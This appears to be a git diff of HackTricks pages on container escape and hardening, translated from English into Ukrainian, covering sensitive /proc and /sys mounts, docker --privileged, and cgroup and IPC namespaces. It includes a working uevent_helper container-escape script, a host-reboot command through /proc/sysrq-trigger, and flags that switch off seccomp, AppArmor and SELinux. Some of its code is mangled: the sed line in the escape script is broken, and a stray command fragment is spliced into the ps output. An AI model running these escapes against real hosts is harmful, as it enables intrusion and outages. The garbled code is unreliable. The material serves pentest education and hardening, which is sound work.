- Write access can enable various denial-of-service attacks against the host.
- Згідно з [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), містить параметри та інформацію про файлову систему.
- Доступ на запис може дозволити різні атаки відмови в обслуговуванні проти хоста.
#### **`/proc/sys/fs/binfmt_misc`**
- Allows registering interpreters for non-native binary formats based on their magic number.
- Can lead to privilege escalation or root shell access if `/proc/sys/fs/binfmt_misc/register` is writable.
- Relevant exploit and explanation:
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- In-depth tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
- Дозволяє реєструвати інтерпретатори для неоригінальних бінарних форматів на основі їх магічного номера.
- Може призвести до підвищення привілеїв або доступу до кореневого шеллу, якщо `/proc/sys/fs/binfmt_misc/register` доступний для запису.
- Відповідна експлуатація та пояснення:
- [Бідний чоловік rootkit через binfmt_misc](https://github.com/toffan/binfmt_misc)
- Детальний посібник: [Посилання на відео](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
### Others in `/proc`
### Інші в `/proc`
#### **`/proc/config.gz`**
- May reveal the kernel configuration if `CONFIG_IKCONFIG_PROC` is enabled.
- Useful for attackers to identify vulnerabilities in the running kernel.
- Може розкрити конфігурацію ядра, якщо `CONFIG_IKCONFIG_PROC` увімкнено.
- Корисно для атакуючих для виявлення уразливостей у запущеному ядрі.
#### **`/proc/sysrq-trigger`**
- Allows invoking Sysrq commands, potentially causing immediate system reboots or other critical actions.
- **Rebooting Host Example**:
- Дозволяє викликати команди Sysrq, потенційно викликаючи негайні перезавантаження системи або інші критичні дії.
- **Приклад перезавантаження хоста**:
```bash
echo b > /proc/sysrq-trigger # Reboots the host
```
```bash
echo b > /proc/sysrq-trigger # Перезавантажує хост
```
#### **`/proc/kmsg`**
- Exposes kernel ring buffer messages.
- Can aid in kernel exploits, address leaks, and provide sensitive system information.
- Відкриває повідомлення з кільцевого буфера ядра.
- Може допомогти в експлуатації ядра, витоках адрес та надати чутливу інформацію про систему.
#### **`/proc/kallsyms`**
- Lists kernel exported symbols and their addresses.
- Essential for kernel exploit development, especially for overcoming KASLR.
- Address information is restricted with `kptr_restrict` set to `1` or `2`.
- Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Перераховує експортовані символи ядра та їх адреси.
- Важливо для розробки експлуатацій для ядра, особливо для подолання KASLR.
- Інформація про адреси обмежена, якщо `kptr_restrict` встановлено на `1` або `2`.
- Деталі в [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
#### **`/proc/[pid]/mem`**
- Interfaces with the kernel memory device `/dev/mem`.
- Historically vulnerable to privilege escalation attacks.
- More on [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Інтерфейс з пристроєм пам'яті ядра `/dev/mem`.
- Історично вразливий до атак підвищення привілеїв.
- Більше про [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
#### **`/proc/kcore`**
- Represents the system's physical memory in ELF core format.
- Reading can leak host system and other containers' memory contents.
- Large file size can lead to reading issues or software crashes.
- Detailed usage in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
- Представляє фізичну пам'ять системи у форматі ELF core.
- Читання може призвести до витоку вмісту пам'яті хоста та інших контейнерів.
- Великий розмір файлу може призвести до проблем з читанням або збоїв програмного забезпечення.
- Детальне використання в [Вивантаження /proc/kcore у 2019 році](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
#### **`/proc/kmem`**
- Alternate interface for `/dev/kmem`, representing kernel virtual memory.
- Allows reading and writing, hence direct modification of kernel memory.
- Альтернативний інтерфейс для `/dev/kmem`, що представляє віртуальну пам'ять ядра.
- Дозволяє читання та запис, отже, безпосередню модифікацію пам'яті ядра.
#### **`/proc/mem`**
- Alternate interface for `/dev/mem`, representing physical memory.
- Allows reading and writing, modification of all memory requires resolving virtual to physical addresses.
- Альтернативний інтерфейс для `/dev/mem`, що представляє фізичну пам'ять.
- Дозволяє читання та запис, модифікація всієї пам'яті вимагає вирішення віртуальних адрес у фізичні.
#### **`/proc/sched_debug`**
- Returns process scheduling information, bypassing PID namespace protections.
- Exposes process names, IDs, and cgroup identifiers.
- Повертає інформацію про планування процесів, обходячи захисти простору імен PID.
- Відкриває імена процесів, ID та ідентифікатори cgroup.
#### **`/proc/[pid]/mountinfo`**
- Provides information about mount points in the process's mount namespace.
- Exposes the location of the container `rootfs` or image.
- Надає інформацію про точки монтування в просторі імен монтування процесу.
- Відкриває місцезнаходження контейнера `rootfs` або образу.
### `/sys` Vulnerabilities
### Уразливості `/sys`
#### **`/sys/kernel/uevent_helper`**
- Used for handling kernel device `uevents`.
- Writing to `/sys/kernel/uevent_helper` can execute arbitrary scripts upon `uevent` triggers.
- **Example for Exploitation**: %%%bash
- Використовується для обробки `uevents` пристроїв ядра.
- Запис у `/sys/kernel/uevent_helper` може виконати довільні скрипти при спрацьовуванні `uevent`.
- **Приклад експлуатації**: %%%bash
#### Creates a payload
#### Створює корисне навантаження
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
#### Finds host path from OverlayFS mount for container
#### Знаходить шлях хоста з монтування OverlayFS для контейнера
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
#### Sets uevent_helper to malicious helper
#### Встановлює uevent_helper на шкідливий помічник
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
#### Triggers a uevent
#### Викликає uevent
echo change > /sys/class/mem/null/uevent
echo change > /sys/class/mem/null/uevent
#### Reads the output
#### Читає вихідні дані
cat /output %%%
cat /output %%%
#### **`/sys/class/thermal`**
- Controls temperature settings, potentially causing DoS attacks or physical damage.
- Контролює налаштування температури, потенційно викликаючи атаки DoS або фізичні пошкодження.
#### **`/sys/kernel/vmcoreinfo`**
- Leaks kernel addresses, potentially compromising KASLR.
- Витікає адреси ядра, потенційно компрометуючи KASLR.
#### **`/sys/kernel/security`**
- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor.
- Access might enable a container to disable its MAC system.
- Містить інтерфейс `securityfs`, що дозволяє налаштування Linux Security Modules, таких як AppArmor.
- Доступ може дозволити контейнеру відключити свою MAC-систему.
#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**
#### **`/sys/firmware/efi/vars` та `/sys/firmware/efi/efivars`**
- Exposes interfaces for interacting with EFI variables in NVRAM.
- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.
- Відкриває інтерфейси для взаємодії з EFI змінними в NVRAM.
- Неправильна конфігурація або експлуатація можуть призвести до "заблокованих" ноутбуків або неможливих для завантаження хост-машин.
#### **`/sys/kernel/debug`**
- `debugfs` offers a "no rules" debugging interface to the kernel.
- History of security issues due to its unrestricted nature.
- `debugfs` пропонує "без правил" інтерфейс для налагодження ядра.
- Історія проблем з безпекою через його необмежений характер.
### References
### Посилання
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
- [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
- [Розуміння та зміцнення Linux контейнерів](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
- [Зловживання привілейованими та непривілейованими Linux контейнерами](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
{{#include ../../../../banners/hacktricks-training.md}}

100
src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md
View File

@ -2,28 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}}
## What Affects
## Що впливає
When you run a container as privileged these are the protections you are disabling:
Коли ви запускаєте контейнер з привілеями, ви вимикаєте такі захисти:
### Mount /dev
### Монтування /dev
In a privileged container, all the **devices can be accessed in `/dev/`**. Therefore you can **escape** by **mounting** the disk of the host.
У контейнері з привілеями всі **пристрої можуть бути доступні в `/dev/`**. Тому ви можете **втекти**, **монтувавши** диск хоста.
{{#tabs}}
{{#tab name="Inside default container"}}
```bash
# docker run --rm -it alpine sh
ls /dev
console fd mqueue ptmx random stderr stdout urandom
core full null pts shm stdin tty zero
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
{{#tab name="Всередині привілейованого контейнера"}}
```bash
# docker run --rm --privileged -it alpine sh
ls /dev
@ -33,17 +30,15 @@ core mqueue ptmx stdin tty26
cpu nbd0 pts stdout tty27 tty47 ttyS0
[...]
```
{{#endtab}}
{{#endtabs}}
### Read-only kernel file systems
### Файлові системи ядра тільки для читання
Kernel file systems provide a mechanism for a process to modify the behavior of the kernel. However, when it comes to container processes, we want to prevent them from making any changes to the kernel. Therefore, we mount kernel file systems as **read-only** within the container, ensuring that the container processes cannot modify the kernel.
Файлові системи ядра забезпечують механізм для процесу, щоб змінити поведінку ядра. Однак, коли мова йде про процеси контейнера, ми хочемо запобігти їх внесенню будь-яких змін до ядра. Тому ми монтуємо файлові системи ядра як **тільки для читання** всередині контейнера, що забезпечує неможливість модифікації ядра процесами контейнера.
{{#tabs}}
{{#tab name="Inside default container"}}
```bash
# docker run --rm -it alpine sh
mount | grep '(ro'
@ -52,28 +47,24 @@ cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpu
cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu)
cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct)
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
{{#tab name="Всередині привілейованого контейнера"}}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep '(ro'
```
{{#endtab}}
{{#endtabs}}
### Masking over kernel file systems
### Маскування над файловими системами ядра
The **/proc** file system is selectively writable but for security, certain parts are shielded from write and read access by overlaying them with **tmpfs**, ensuring container processes can't access sensitive areas.
Файлова система **/proc** є вибірково записуваною, але для безпеки певні частини захищені від запису та читання, накладаючи на них **tmpfs**, що забезпечує недоступність чутливих областей для процесів контейнера.
> [!NOTE] > **tmpfs** is a file system that stores all the files in virtual memory. tmpfs doesn't create any files on your hard drive. So if you unmount a tmpfs file system, all the files residing in it are lost for ever.
> [!NOTE] > **tmpfs** - це файлова система, яка зберігає всі файли у віртуальній пам'яті. tmpfs не створює жодних файлів на вашому жорсткому диску. Тому, якщо ви демонтуєте файлову систему tmpfs, всі файли, що в ній знаходяться, будуть втрачені назавжди.
{{#tabs}}
{{#tab name="Inside default container"}}
```bash
# docker run --rm -it alpine sh
mount | grep /proc.*tmpfs
@ -81,30 +72,26 @@ tmpfs on /proc/acpi type tmpfs (ro,relatime)
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
{{#tab name="Всередині привілейованого контейнера"}}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep /proc.*tmpfs
```
{{#endtab}}
{{#endtabs}}
### Linux capabilities
### Лінукс-можливості
Container engines launch the containers with a **limited number of capabilities** to control what goes on inside of the container by default. **Privileged** ones have **all** the **capabilities** accesible. To learn about capabilities read:
Контейнерні движки запускають контейнери з **обмеженою кількістю можливостей**, щоб контролювати, що відбувається всередині контейнера за замовчуванням. **Привілейовані** мають **всі** **можливості** доступні. Щоб дізнатися про можливості, прочитайте:
{{#ref}}
../linux-capabilities.md
{{#endref}}
{{#tabs}}
{{#tab name="Inside default container"}}
{{#tab name="Всередині стандартного контейнера"}}
```bash
# docker run --rm -it alpine sh
apk add -U libcap; capsh --print
@ -113,11 +100,9 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
[...]
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
{{#tab name="Всередині привілейованого контейнера"}}
```bash
# docker run --rm --privileged -it alpine sh
apk add -U libcap; capsh --print
@ -126,15 +111,14 @@ Current: =eip cap_perfmon,cap_bpf,cap_checkpoint_restore-eip
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
[...]
```
{{#endtab}}
{{#endtabs}}
You can manipulate the capabilities available to a container without running in `--privileged` mode by using the `--cap-add` and `--cap-drop` flags.
Ви можете маніпулювати можливостями, доступними контейнеру, не запускаючи в режимі `--privileged`, використовуючи прапори `--cap-add` та `--cap-drop`.
### Seccomp
**Seccomp** is useful to **limit** the **syscalls** a container can call. A default seccomp profile is enabled by default when running docker containers, but in privileged mode it is disabled. Learn more about Seccomp here:
**Seccomp** корисний для **обмеження** **syscalls**, які контейнер може викликати. За замовчуванням профіль seccomp увімкнено при запуску контейнерів docker, але в режимі привілейованого доступу він вимкнений. Дізнайтеся більше про Seccomp тут:
{{#ref}}
seccomp.md
@ -142,100 +126,86 @@ seccomp.md
{{#tabs}}
{{#tab name="Inside default container"}}
```bash
# docker run --rm -it alpine sh
grep Seccomp /proc/1/status
Seccomp: 2
Seccomp_filters: 1
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
{{#tab name="Всередині привілейованого контейнера"}}
```bash
# docker run --rm --privileged -it alpine sh
grep Seccomp /proc/1/status
Seccomp: 0
Seccomp_filters: 0
```
{{#endtab}}
{{#endtabs}}
```bash
# You can manually disable seccomp in docker with
--security-opt seccomp=unconfined
```
Also, note that when Docker (or other CRIs) are used in a **Kubernetes** cluster, the **seccomp filter is disabled by default**
Також зверніть увагу, що коли Docker (або інші CRI) використовуються в кластері **Kubernetes**, **фільтр seccomp за замовчуванням вимкнений**.
### AppArmor
**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**. When you run with the `--privileged` flag, this protection is disabled.
**AppArmor** - це покращення ядра для обмеження **контейнерів** до **обмеженого** набору **ресурсів** з **профілями для кожної програми**. Коли ви запускаєте з прапором `--privileged`, ця захист вимкнена.
{{#ref}}
apparmor.md
{{#endref}}
```bash
# You can manually disable seccomp in docker with
--security-opt apparmor=unconfined
```
### SELinux
Running a container with the `--privileged` flag disables **SELinux labels**, causing it to inherit the label of the container engine, typically `unconfined`, granting full access similar to the container engine. In rootless mode, it uses `container_runtime_t`, while in root mode, `spc_t` is applied.
Запуск контейнера з прапором `--privileged` вимикає **мітки SELinux**, внаслідок чого він успадковує мітку контейнерного движка, зазвичай `unconfined`, надаючи повний доступ, подібний до контейнерного движка. У безкореневому режимі використовується `container_runtime_t`, тоді як у кореневому режимі застосовується `spc_t`.
{{#ref}}
../selinux.md
{{#endref}}
```bash
# You can manually disable selinux in docker with
--security-opt label:disable
```
## Що не впливає
## What Doesn't Affect
### Простори імен
### Namespaces
Namespaces are **NOT affected** by the `--privileged` flag. Even though they don't have the security constraints enabled, they **do not see all of the processes on the system or the host network, for example**. Users can disable individual namespaces by using the **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** container engines flags.
Простори імен **НЕ підлягають** впливу прапора `--privileged`. Навіть якщо у них не ввімкнені обмеження безпеки, вони **не бачать усіх процесів на системі або на хост-мережі, наприклад**. Користувачі можуть вимкнути окремі простори імен, використовуючи прапори контейнерних движків **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`**.
{{#tabs}}
{{#tab name="Inside default privileged container"}}
{{#tab name="Всередині контейнера з привілеями за замовчуванням"}}
```bash
# docker run --rm --privileged -it alpine sh
ps -ef
PID USER TIME COMMAND
1 root 0:00 sh
18 root 0:00 ps -ef
1 root 0:00 sh
18 root 0:00 ps -ef
```
{{#endtab}}
{{#tab name="Inside --pid=host Container"}}
{{#tab name="Всередині --pid=host Контейнера"}}
```bash
# docker run --rm --privileged --pid=host -it alpine sh
ps -ef
PID USER TIME COMMAND
1 root 0:03 /sbin/init
2 root 0:00 [kthreadd]
3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs
1 root 0:03 /sbin/init
2 root 0:00 [kthreadd]
3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs
[...]
```
{{#endtab}}
{{#endtabs}}
### User namespace
### Простір користувачів
**By default, container engines don't utilize user namespaces, except for rootless containers**, which require them for file system mounting and using multiple UIDs. User namespaces, integral for rootless containers, cannot be disabled and significantly enhance security by restricting privileges.
**За замовчуванням, контейнерні движки не використовують простори користувачів, за винятком контейнерів без кореня**, які потребують їх для монтування файлової системи та використання кількох UID. Простори користувачів, які є невід'ємною частиною контейнерів без кореня, не можуть бути вимкнені і значно підвищують безпеку, обмежуючи привілеї.
## References
## Посилання
- [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)

66
src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
View File

@ -2,90 +2,80 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
A cgroup namespace is a Linux kernel feature that provides **isolation of cgroup hierarchies for processes running within a namespace**. Cgroups, short for **control groups**, are a kernel feature that allows organizing processes into hierarchical groups to manage and enforce **limits on system resources** like CPU, memory, and I/O.
Cgroup namespace - це функція ядра Linux, яка забезпечує **ізоляцію ієрархій cgroup для процесів, що працюють у межах простору імен**. Cgroups, скорочено від **контрольних груп**, є функцією ядра, яка дозволяє організовувати процеси в ієрархічні групи для управління та забезпечення **обмежень на системні ресурси** такі як CPU, пам'ять та I/O.
While cgroup namespaces are not a separate namespace type like the others we discussed earlier (PID, mount, network, etc.), they are related to the concept of namespace isolation. **Cgroup namespaces virtualize the view of the cgroup hierarchy**, so that processes running within a cgroup namespace have a different view of the hierarchy compared to processes running in the host or other namespaces.
Хоча cgroup namespaces не є окремим типом простору імен, як інші, про які ми говорили раніше (PID, mount, network тощо), вони пов'язані з концепцією ізоляції простору імен. **Cgroup namespaces віртуалізують вид ієрархії cgroup**, так що процеси, що працюють у cgroup namespace, мають інший вигляд ієрархії в порівнянні з процесами, що працюють на хості або в інших просторах імен.
### How it works:
### Як це працює:
1. When a new cgroup namespace is created, **it starts with a view of the cgroup hierarchy based on the cgroup of the creating process**. This means that processes running in the new cgroup namespace will only see a subset of the entire cgroup hierarchy, limited to the cgroup subtree rooted at the creating process's cgroup.
2. Processes within a cgroup namespace will **see their own cgroup as the root of the hierarchy**. This means that, from the perspective of processes inside the namespace, their own cgroup appears as the root, and they cannot see or access cgroups outside of their own subtree.
3. Cgroup namespaces do not directly provide isolation of resources; **they only provide isolation of the cgroup hierarchy view**. **Resource control and isolation are still enforced by the cgroup** subsystems (e.g., cpu, memory, etc.) themselves.
1. Коли створюється новий cgroup namespace, **він починається з вигляду ієрархії cgroup, заснованого на cgroup процесу, що створює**. Це означає, що процеси, що працюють у новому cgroup namespace, будуть бачити лише підмножину всієї ієрархії cgroup, обмежену піддеревом cgroup, коренем якого є cgroup процесу, що створює.
2. Процеси в межах cgroup namespace **бачать свою власну cgroup як корінь ієрархії**. Це означає, що з точки зору процесів всередині простору імен їхня власна cgroup виглядає як корінь, і вони не можуть бачити або отримувати доступ до cgroups поза їхнім власним піддеревом.
3. Cgroup namespaces не забезпечують безпосередньої ізоляції ресурсів; **вони лише забезпечують ізоляцію вигляду ієрархії cgroup**. **Контроль і ізоляція ресурсів все ще забезпечуються підсистемами cgroup** (наприклад, cpu, пам'ять тощо).
For more information about CGroups check:
Для отримання додаткової інформації про CGroups перевірте:
{{#ref}}
../cgroups.md
{{#endref}}
## Lab:
## Лабораторія:
### Create different Namespaces
### Створення різних просторів імен
#### CLI
```bash
sudo unshare -C [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
Монтування нової інстанції файлової системи `/proc`, якщо ви використовуєте параметр `--mount-proc`, забезпечує, що новий простір монтування має **точний та ізольований вигляд інформації про процеси, специфічної для цього простору**.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Помилка: bash: fork: Не вдається виділити пам'ять</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Коли `unshare` виконується без параметра `-f`, виникає помилка через те, як Linux обробляє нові PID (ідентифікатори процесів) простори. Основні деталі та рішення наведені нижче:
1. **Problem Explanation**:
1. **Пояснення проблеми**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Ядро Linux дозволяє процесу створювати нові простори за допомогою системного виклику `unshare`. Однак процес, який ініціює створення нового PID простору (називається "процесом unshare"), не входить до нового простору; лише його дочірні процеси входять.
- Виконання `%unshare -p /bin/bash%` запускає `/bin/bash` в тому ж процесі, що й `unshare`. Внаслідок цього `/bin/bash` та його дочірні процеси знаходяться в оригінальному PID просторі.
- Перший дочірній процес `/bin/bash` у новому просторі стає PID 1. Коли цей процес завершується, це викликає очищення простору, якщо немає інших процесів, оскільки PID 1 має особливу роль усиновлення сирітських процесів. Ядро Linux тоді вимкне виділення PID у цьому просторі.
2. **Consequence**:
2. **Наслідок**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- Завершення PID 1 у новому просторі призводить до очищення прапора `PIDNS_HASH_ADDING`. Це призводить до того, що функція `alloc_pid` не може виділити новий PID при створенні нового процесу, що викликає помилку "Не вдається виділити пам'ять".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Рішення**:
- Проблему можна вирішити, використовуючи параметр `-f` з `unshare`. Цей параметр змушує `unshare` створити новий процес після створення нового PID простору.
- Виконання `%unshare -fp /bin/bash%` забезпечує, що команда `unshare` сама стає PID 1 у новому просторі. `/bin/bash` та його дочірні процеси тоді безпечно містяться в цьому новому просторі, запобігаючи передчасному завершенню PID 1 та дозволяючи нормальне виділення PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Забезпечивши, що `unshare` виконується з прапором `-f`, новий PID простір правильно підтримується, що дозволяє `/bin/bash` та його підпроцесам працювати без виникнення помилки виділення пам'яті.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;Перевірте, в якому просторі імен знаходиться ваш процес
```bash
ls -l /proc/self/ns/cgroup
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
```
### Find all CGroup namespaces
### Знайти всі простори імен CGroup
```bash
sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside an CGroup namespace
### Увійти в простір імен CGroup
```bash
nsenter -C TARGET_PID --pid /bin/bash
```
Також ви можете **входити в інше просторове ім'я лише якщо ви є root**. І ви **не можете** **входити** в інше просторове ім'я **без дескриптора**, що вказує на нього (наприклад, `/proc/self/ns/cgroup`).
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/cgroup`).
## References
## Посилання
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)

66
src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
View File

@ -2,83 +2,72 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
An IPC (Inter-Process Communication) namespace is a Linux kernel feature that provides **isolation** of System V IPC objects, such as message queues, shared memory segments, and semaphores. This isolation ensures that processes in **different IPC namespaces cannot directly access or modify each other's IPC objects**, providing an additional layer of security and privacy between process groups.
IPC (Міжпроцесна комунікація) namespace - це функція ядра Linux, яка забезпечує **ізоляцію** об'єктів System V IPC, таких як черги повідомлень, сегменти спільної пам'яті та семафори. Ця ізоляція гарантує, що процеси в **різних IPC namespaces не можуть безпосередньо отримувати доступ або змінювати об'єкти IPC один одного**, забезпечуючи додатковий рівень безпеки та конфіденційності між групами процесів.
### How it works:
### Як це працює:
1. When a new IPC namespace is created, it starts with a **completely isolated set of System V IPC objects**. This means that processes running in the new IPC namespace cannot access or interfere with the IPC objects in other namespaces or the host system by default.
2. IPC objects created within a namespace are visible and **accessible only to processes within that namespace**. Each IPC object is identified by a unique key within its namespace. Although the key may be identical in different namespaces, the objects themselves are isolated and cannot be accessed across namespaces.
3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWIPC` flag. When a process moves to a new namespace or creates one, it will start using the IPC objects associated with that namespace.
1. Коли створюється новий IPC namespace, він починається з **повністю ізольованого набору об'єктів System V IPC**. Це означає, що процеси, що виконуються в новому IPC namespace, не можуть отримати доступ або втручатися в об'єкти IPC в інших namespaces або в хост-системі за замовчуванням.
2. Об'єкти IPC, створені в межах namespace, видимі та **доступні лише для процесів у цьому namespace**. Кожен об'єкт IPC ідентифікується унікальним ключем у своєму namespace. Хоча ключ може бути ідентичним у різних namespaces, самі об'єкти ізольовані і не можуть бути доступні між namespaces.
3. Процеси можуть переміщатися між namespaces, використовуючи системний виклик `setns()`, або створювати нові namespaces, використовуючи системні виклики `unshare()` або `clone()` з прапором `CLONE_NEWIPC`. Коли процес переходить до нового namespace або створює його, він почне використовувати об'єкти IPC, пов'язані з цим namespace.
## Lab:
## Лабораторія:
### Create different Namespaces
### Створити різні Namespaces
#### CLI
```bash
sudo unshare -i [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
При монтуванні нового екземпляра файлової системи `/proc`, якщо ви використовуєте параметр `--mount-proc`, ви забезпечуєте, що новий простір монтування має **точний та ізольований вигляд інформації про процеси, специфічної для цього простору**.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Помилка: bash: fork: Не вдалося виділити пам'ять</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Коли `unshare` виконується без параметра `-f`, виникає помилка через те, як Linux обробляє нові PID (ідентифікатори процесів) простори. Основні деталі та рішення наведені нижче:
1. **Problem Explanation**:
1. **Пояснення проблеми**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Ядро Linux дозволяє процесу створювати нові простори за допомогою системного виклику `unshare`. Однак процес, який ініціює створення нового PID простору (називається "процесом unshare"), не входить до нового простору; лише його дочірні процеси входять.
- Виконання `%unshare -p /bin/bash%` запускає `/bin/bash` в тому ж процесі, що й `unshare`. Внаслідок цього `/bin/bash` та його дочірні процеси знаходяться в оригінальному PID просторі.
- Перший дочірній процес `/bin/bash` у новому просторі стає PID 1. Коли цей процес завершується, це викликає очищення простору, якщо немає інших процесів, оскільки PID 1 має особливу роль усиновлення сирітських процесів. Ядро Linux тоді вимкне виділення PID у цьому просторі.
2. **Consequence**:
